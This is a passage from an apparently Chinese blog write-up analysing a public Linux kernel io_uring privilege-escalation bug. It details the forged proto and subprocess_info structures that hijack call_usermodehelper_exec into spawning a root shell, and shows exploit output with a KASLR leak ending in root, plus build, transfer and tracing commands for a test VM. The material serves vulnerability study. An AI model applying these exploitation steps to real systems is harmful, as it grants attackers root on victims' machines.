    		 * that always ignores SIGCHLD to ensure auto-reaping.
    		 */
    		pid = user_mode_thread(call_usermodehelper_exec_async, sub_info,
    				       CLONE_PARENT | SIGCHLD);
    		if (pid < 0) {
    			sub_info->retval = pid;
    			umh_complete(sub_info);
    		}
    	}
    }
    
  • (12)先将proto->ioctl指向call_usermodehelper_exec,再将subprocess_info.work.func指向call_usermodehelper_exec_work() 函数(负责生成我们的新进程)。由于sock对象和subprocess_info对象重合,所以sock.sock_common->skc_protsubprocess_info->path成员重合,proto对象开头可以放path(也即/bin/sh字符串),但是别覆盖到proto->ioctl。proto对象之后可以放subprocess_info->argv参数(也即 -c /bin/sh &>/dev/ttyS0 </dev/ttyS0等三个参数对应的字符串)。

  • (13)伪造完成后,在调用ioctl时,将会触发call_usermodehelper_exec函数,延迟执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0 ,即可获取一个root shell。

4. 其他

4-1. tcp_sock结构

结构包含关系tcp_sock -> inet_connection_sock -> inet_sock -> sock

在v6.3-rc1中 tcp_sock 大小为2208字节(我编译的V6.3.1内核中tcp_sock大小为2248字节),可将伪造的proto对象放在sock对象后面。在调用伪造的ioctl之后需要恢复tcp_sock,避免内核崩溃,所以需要提前保存tcp_sock结构。

4-2. subprocess_info设置

设置subprocess_info来构造参数,目标是执行/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0。分解如下:

/bin/sh -c /bin/sh &>/dev/ttyS0 </dev/ttyS0
 ^      ^  |______________________________|	
 |      |               |
 |      |               |
path   arg1            arg2
arg0	

获得shell原理:利用/bin/sh生成另一个/bin/sh进程,并将stdin/stdout重定向到我们的虚拟控制台/串口。

subprocess_info提权设置:必须设置work.func指向call_usermodehelper_exec_work。注意,之前设置了 proto->ioctl 指向 call_usermodehelper_exec()call_usermodehelper_exec()函数负责对 deffered work 排队,而调用call_usermodehelper_exec_work()函数来处理deffered work,也即真正负责生成新进程。path成员仍然指向proto结构,最后触发调用ioctl提权并获得shell。

// 注意:subprocess_info 对象和 sock 对象的地址相同
// proto 开头是 path 字符串
// proto->ioctl = call_usermodehelper_exec
work.data          <-> set to 0 											// 0
work.entry.next    <-> set to it's own address 								// 指向自身
work.entry.prev    <-> set to the address of work.entry.next 				// 指向 work.entry.next
work.func          <-> set to call_usermodehelper_exec_work					// call_usermodehelper_exec_work
complete           <-> irrelevant
path               <-> don't overwrite or overwrite it with the same value  // 偏移40, 指向伪造的proto对象。`sock_common->skc_prot` & `subprocess_info->path` 值相同, `proto->ioctl` 偏移为40, proto对象前面40字节可以放path, 也即"/bin/sh"
argv               <-> write the address where the argv array was set up 	// 参数数组的地址。proto对象后面可以放argv参数
envp               <-> set to 0, we have no env variables 					// 0
wait               <-> irrelevant
retval             <-> irrelevant
*init              <-> set to 0 											// 0
*cleanup           <-> set to 0 											// 0
data               <-> irrelevant

4-3. EXP测试

$ gcc -static ./exploit.c -luring -o ./exploit
$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
$ ./exploit
[*] CVE-2023-2598 Exploit by anatomic (@YordanStoychev)
memfd: 0, page: 0 at virt_addr: 0x4247000000, reading 266240000 bytes
memfd: 0, page: 500 at virt_addr: 0x42470001f4, reading 266240000 bytes
memfd: 0, page: 1000 at virt_addr: 0x42470003e8, reading 266240000 bytes
memfd: 0, page: 1500 at virt_addr: 0x42470005dc, reading 266240000 bytes
memfd: 0, page: 2000 at virt_addr: 0x42470007d0, reading 266240000 bytes
memfd: 0, page: 2500 at virt_addr: 0x42470009c4, reading 266240000 bytes
memfd: 0, page: 3000 at virt_addr: 0x4247000bb8, reading 266240000 bytes
memfd: 0, page: 3500 at virt_addr: 0x4247000dac, reading 266240000 bytes
memfd: 0, page: 4000 at virt_addr: 0x4247000fa0, reading 266240000 bytes
memfd: 0, page: 4500 at virt_addr: 0x4247001194, reading 266240000 bytes
memfd: 0, page: 5000 at virt_addr: 0x4247001388, reading 266240000 bytes
memfd: 0, page: 5500 at virt_addr: 0x424700157c, reading 266240000 bytes
memfd: 0, page: 6000 at virt_addr: 0x4247001770, reading 266240000 bytes
memfd: 0, page: 6500 at virt_addr: 0x4247001964, reading 266240000 bytes
memfd: 0, page: 7000 at virt_addr: 0x4247001b58, reading 266240000 bytes
memfd: 0, page: 7500 at virt_addr: 0x4247001d4c, reading 266240000 bytes
memfd: 0, page: 8000 at virt_addr: 0x4247001f40, reading 266240000 bytes
memfd: 0, page: 8500 at virt_addr: 0x4247002134, reading 266240000 bytes
memfd: 0, page: 9000 at virt_addr: 0x4247002328, reading 266240000 bytes
memfd: 0, page: 9500 at virt_addr: 0x424700251c, reading 266240000 bytes
memfd: 0, page: 10000 at virt_addr: 0x4247002710, reading 266240000 bytes
memfd: 0, page: 10500 at virt_addr: 0x4247002904, reading 266240000 bytes
memfd: 0, page: 11000 at virt_addr: 0x4247002af8, reading 266240000 bytes
memfd: 0, page: 11500 at virt_addr: 0x4247002cec, reading 266240000 bytes
memfd: 0, page: 12000 at virt_addr: 0x4247002ee0, reading 266240000 bytes
memfd: 0, page: 12500 at virt_addr: 0x42470030d4, reading 266240000 bytes
Found value 0xdeadbeefdeadbeef at offset 0x21c8
Socket object starts at offset 0x2000
kaslr_leak: 0xffffffffb09503f0
kaslr_base: 0xffffffffafe00000
found socket is socket number 1950
our struct sock object starts at 0xffff9817ff400000
fake proto structure set up at 0xffff9817ff400578
args at 0xffff9817ff400728
argv at 0xffff9817ff400750
subprocess_info set up at beginning of sock at 0xffff9817ff400000
calling ioctl...
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)
/ # w00t w00t

5. 常用命令

参考 CVE-2022-34918

liburing 安装

# 安装 liburing   生成 liburing.a / liburing.so.2.2
$ make
$ sudo make install
# exp编译
$ gcc -static ./exploit.c -luring -o ./exploit

常用命令

# ssh连接与测试
$ ssh -p 10021 hi@localhost             # password: lol
$ ./exploit

# 编译exp
$ make CFLAGS="-I /home/hi/lib/libnftnl-1.2.2/include"
$ gcc -static ./get_root.c -o ./get_root
$ gcc -no-pie -static -pthread ./exploit.c -o ./exploit

# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi      # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./   # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root  hi@localhost:/home/hi

问题:原来的 ext4文件系统空间太小,很多包无法安装,现在换syzkaller中的 stretch.img 试试。

# 服务端添加用户
$ useradd hi && echo lol | passwd --stdin hi
# ssh连接
$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290

ftrace调试:注意,QEMU启动时需加上 no_hash_pointers 启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p 打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p -> %lx

# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable

# ssh 连进去执行 exploit

cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt

# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ 	# 下载文件

参考

Conquering the memory through io_uring - Analysis of CVE-2023-2598

https://www.openwall.com/lists/oss-security/2023/05/08/3

exploit

introduction to the subsystem —— io_uring介绍

CVE-2023-2598 io_uring内核提权分析

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值